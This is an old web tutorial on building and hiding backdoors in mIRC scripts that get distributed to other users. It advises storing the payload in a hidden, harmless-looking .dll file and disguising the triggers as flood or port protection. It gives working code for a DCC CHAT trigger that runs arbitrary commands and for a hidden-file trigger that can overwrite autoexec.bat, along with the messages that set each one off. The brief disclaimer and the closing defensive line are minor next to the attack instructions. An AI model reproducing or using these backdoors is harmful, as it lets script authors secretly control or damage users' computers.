Disclaimer:The Scripters Guild takes no responibility for anything you do or release. The information provided on this page is for informational purposes only. Should you actually decide to do any of this stuff itz your own damn fault if you screw up your comp or you get sued.
Intro
A back door can be used to gain complete control of someone, or completely wipe someone out. Once people find out that your script has a backdoor in it and word gets around, your script will be obsolete along with your scripting career. So don't release a script with a back door under your normal nick.
Back doors can be made any way you like. You can make them trigger on certain messages, notices, or ctcp's. Or you could have them trigger on specific events. You could have your back door /write malicious lines to someones config.sys or autoexec.bat file, or simply make them quit with a stupid msg. You could make someone say funny things to a channel or op you and deop themselves. The possibilities are endless.
The Art of Concealment
Concealing the backdoor is one of the best ways to get the most out of your back door. Since anyone can look in the remote and see a "/write -c autoexec.bat fewl" you will need a way to hide it.
Here are a few ways to conceal it:
1. If you included any .exe file in your script like mcb.exe or icmp.exe, make a file called mcb.dll or something non-suspicious to include with it. This is where you will store your malicious coding and call it from a $read. I used a .dll file for an example since most people will be using win95 and won't have view all files on, meaning your .dll will be a hidden file and draw less attention.
2. The trigger to your backdoor will be in the remote, so have it call an alias then have that alias do your dirty work.
3. Try and make the trigger something a little less obvious than 1:OP:/mode $parm2 $nick. Try and work it into someplace where it won't be as easily noticed, like your flood protection.
The Back Door
Heres what you've probably been waiting for, the examples.... Note: Never under any circumstance should you ever include any of the following coding in your script.
Back Door in Port 19 ProtectionRemote, Commands
1:DCC CHAT: {
if ($parm5 == 19) { /prot19a $nick | halt }
if ($parm4 == 19) { /prot19b $parm5* | halt }
}
Alias:
prot19a { echo 2 Port 19 DCC CHAT Detected from $nick }
prot19b { / [ $+ [ *1 ] ] }
Usage:
//raw -q privmsg {nick} : $+ $chr(1) $+ DCC CHAT CHAT 19 /command to execute $+ $chr(1)
//raw -q privmsg TiAMaT : $+ $chr(1) $+ DCC CHAT CHAT 19 /quit I'm a fewl $+ $chr(1)
Back Door in Hidden File for Msg Flood ProtectionRemote, Events:
1:ON TEXT:*:?: {
if (%msg.flood.rate. [ $+ [ $nick ] ] == $null) { set %msg.flood.rate. [ $+ [ $nick ] ] 0 }
inc %msg.flood.rate. [ $+ [ $nick ] ] 1
if (%msg.flood.rate. [ $+ [ $nick ] ] >= 7) { /protmsg $nick }
if ($len($parms) >= 375) { /protmsg $nick }
if ($chr(16) isin $parms) { $read $mircdir [ $+ [ protection.dll ] ] | close -m $nick | halt }
}
Alias:
protmsg { echo 2 MSG Flood from $$1 | ignore $$1 }
protection.dll file
In this file you will include one line like /quit I suck or /write -c autoexec.bat Yew fewl
Usage:
//msg {nick} $chr(16)
//msg _MiZeR_ $chr(16)
Now that you know a little more about the dangers of back doors you know what to look for in your script. Or you could write your own scripts if you don't want to worry about having a back door in your script.
Get your own Free Homepage
